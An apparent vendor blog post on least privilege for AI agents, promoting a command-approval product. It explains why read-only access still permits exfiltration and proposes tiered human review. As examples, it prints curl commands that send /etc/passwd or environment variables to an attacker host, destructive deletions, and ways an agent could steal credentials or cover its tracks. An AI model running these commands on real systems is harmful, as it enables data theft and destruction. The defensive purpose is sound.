Least Privilege for AI Agents: Why Read-Only by Default Isn't Enough
Read-only access sounds safe. No writes, no damage — right? Wrong. An AI agent with read-only filesystem access and network connectivity can still exfiltrate your entire database, leak secrets to an external server, or enumerate internal infrastructure. Least privilege for AI agents requires rethinking what "privilege" actually means.
The read-only illusion
Security teams often treat least privilege as a filesystem problem: give the agent read permissions on the directories it needs, revoke write access everywhere else. Done. Ship it.
This mental model made sense when we were thinking about human users or traditional services. A read-only user on a database server can't drop tables. A read-only service account can't write to S3. The damage is bounded.
AI agents break this assumption. They don't just read — they act on what they read. And they have tools.
An agent with read-only filesystem access that also has network connectivity and shell execution can:
- Read
~/.aws/credentials→ exfiltrate to attacker's server viacurl - Read
/etc/hosts→ map internal network topology - Read environment variables → find API keys, tokens, connection strings
- Read
/proc/net/tcp→ discover listening services - Read source code → identify vulnerabilities to exploit later
Read-only doesn't mean safe. It means the agent can't directly mutate files. Everything else is still on the table.
What "privilege" means for AI agents
For traditional systems, privilege maps to permissions: read, write, execute, admin. For AI agents, privilege is more nuanced. It's the product of what the agent can perceive, what it can do, and what it can reach.
| Dimension | Traditional model | AI agent model |
|---|---|---|
| Data access | File/DB permissions | What the agent can read, query, or receive as tool output |
| Execution | Process ownership, sudo rules | Which tools/functions the agent can invoke |
| Network reach | Firewall rules, egress controls | Which external services the agent can contact |
| Temporal scope | Session duration | How far into the future actions can commit (bookings, purchases, deploys) |
| Blast radius | Resource ownership | How many systems are affected if the agent misbehaves |
An agent that can only read files but can also call external APIs has enormous egress privilege. An agent that can't touch production systems but operates on staging, which gets promoted to prod nightly, has temporal privilege over production. The surface area is much larger than file permissions suggest.
The five dimensions of agent privilege
1. Data visibility
What can the agent see? This is the most obvious dimension — but it's incomplete on its own. The real question is: what could a malicious agent extract from what it can see?
Practical controls:
- Scope filesystem access to specific directories, not broad trees
- Exclude credential files explicitly (
~/.ssh/,~/.aws/,*.pem,*.key) - Use separate service accounts for agents — don't run them as a human user who has access to everything
- Consider data classification: agents working on public data shouldn't have visibility into PII
2. Execution scope
Which commands or functions can the agent invoke? This is where traditional sudo rules apply — but for AI agents, the granularity needs to be much finer.
The problem is that general-purpose shell access is essentially unlimited execution scope. curl alone is a complete egress channel. python3 alone can do almost anything. If an agent has shell access, it has nearly unbounded execution scope regardless of filesystem permissions.
If your agent has unrestricted shell access, all other permission boundaries are advisory, not enforced. Real least privilege for shell-using agents requires command-level controls — exactly what expacti provides.
3. Network egress
Can the agent reach the internet? Can it reach your internal services? Network egress controls are often an afterthought for agents because developers think about the agent's task — not about the agent's ability to exfiltrate everything it sees.
Recommendations:
- Default to no external network access; add allowlisted domains explicitly
- Internal network segmentation: agents shouldn't be able to reach every internal service
- DNS filtering to prevent data exfiltration via DNS queries
- Audit egress logs —
curl https://attacker.com/$(cat /etc/passwd | base64)will show up in network logs, not filesystem logs
4. Temporal commitment
This is the dimension most teams never think about. An agent that can schedule actions commits to future consequences. An agent that deploys to staging (which gets auto-promoted to prod) effectively controls prod. An agent that creates a recurring cron job persists beyond its own session.
Questions to ask:
- Can the agent's actions have effects that outlast the current session?
- Can the agent modify automation that will run unsupervised later?
- Can the agent create artifacts (keys, tokens, files) that persist?
5. Blast radius
If everything goes wrong — prompt injection, model hallucination, adversarial inputs — how much damage can this agent cause? This is a function of all the above dimensions combined.
Blast radius controls:
- Separate environments: agents should not have cross-environment access
- Rate limits on destructive operations
- Dry-run modes where possible
- Reversibility requirements: prefer reversible actions, require explicit approval for irreversible ones
Why static permissions fail for dynamic agents
Traditional least privilege is static: you define a permission set at deploy time and it applies for the life of the service. This works reasonably well for services with well-defined behavior.
AI agents are fundamentally dynamic. The same agent might legitimately need to:
- Read a log file to diagnose an issue → low risk
- Delete the log file to free up disk → medium risk
- Delete the log file on a production system during an incident → high risk
- Delete the log file on a production system during an incident to cover tracks → critical risk
The command is the same (rm /var/log/app/2026-03-26.log). The context determines the risk. Static permissions can't distinguish between these cases — they either allow or deny the pattern regardless of context.
"The command doesn't carry its own risk level. Context does. Static access controls are blind to context."
This is why dynamic, per-command approval matters. The whitelist isn't just about what commands are allowed — it's about which commands are allowed in what context, at what time, by what agent, on which system.
A practical framework: three tiers
Instead of thinking about permissions as a binary allow/deny, model agent access in three tiers:
Tier 1: Auto-approve (low risk, well-understood)
Commands that are read-only, scoped to non-sensitive data, with no network egress, and have no lasting side effects. These go on your whitelist and execute without review.
# Safe to auto-approve
git status
docker ps
df -h
cat /var/log/app/today.log
curl https://api.github.com/repos/myorg/myrepo/releases/latest # specific, read-only
Tier 2: Require review (medium risk or novel)
Commands that write to disk, have network effects, or are being seen for the first time. Route these through a human reviewer with context. The reviewer sees the full command, the agent's current task, and the environment.
# Route for review
git push origin main # irreversible, external effect
docker run --rm myimage ... # execution in container
psql -c "UPDATE users SET..." # database write
rsync -av ./dist/ user@prod: # file transfer to production
Tier 3: Require multi-party approval or deny (high risk)
Commands that are inherently dangerous or cross into critical systems. Either require multiple reviewers or deny outright and force a different approach.
# High risk — multi-party or deny
rm -rf /var/data/
kubectl delete namespace production
DROP TABLE users;
curl https://random-external-api.com/$(env | base64)
Implementing this with expacti
Expacti implements this tiered model at the command level. Every shell command routes through the approval engine before execution. Commands matching your whitelist execute immediately. Novel commands get queued for a human reviewer.
from expacti import ExpactiClient
client = ExpactiClient(
url="wss://api.expacti.com/shell/ws",
token=os.environ["EXPACTI_SHELL_TOKEN"]
)
# This runs immediately if "git status" is whitelisted
result = client.run("git status")
# This blocks until a reviewer approves or denies
result = client.run("git push origin main")
if not result.approved:
raise RuntimeError(f"Push denied: {result.reason}")
# High-risk commands can be configured to require multi-party approval
# or denied outright via whitelist policy
result = client.run("rm -rf /tmp/build") # queued for review
The reviewer sees:
- The exact command (no ambiguity)
- The agent that submitted it (org, session ID)
- The risk score (0–100, computed from command analysis)
- The current queue (context: what else is this agent doing?)
- A live terminal view of the session
They approve or deny in seconds. The agent either proceeds or handles the denial gracefully.
The read-only trap, revisited
Let's come back to the original premise. If read-only isn't enough, what is enough?
There's no silver bullet. But here's a working definition of least privilege for AI agents:
Least privilege for an AI agent means: the minimum combination of data visibility, execution scope, network reach, temporal commitment, and blast radius required to complete the task — with dynamic controls that can differentiate based on context, risk, and novelty.
Static permissions get you partway there. Command-level approval with a human in the loop closes the gap — especially for the commands that matter most.
- Read-only filesystem access doesn't prevent exfiltration via network, shell, or process inspection
- AI agent privilege has five dimensions: data visibility, execution scope, network egress, temporal commitment, blast radius
- Static permissions can't distinguish risk based on context; dynamic approval can
- Use a three-tier model: auto-approve (safe), review (medium), deny or multi-party (high)
- Shell access without command-level controls means all other boundaries are advisory
Put least privilege into practice
expacti routes every shell command through a human reviewer before execution. Start with an open whitelist and tighten as you learn what your agent actually needs.
Get started free See the demo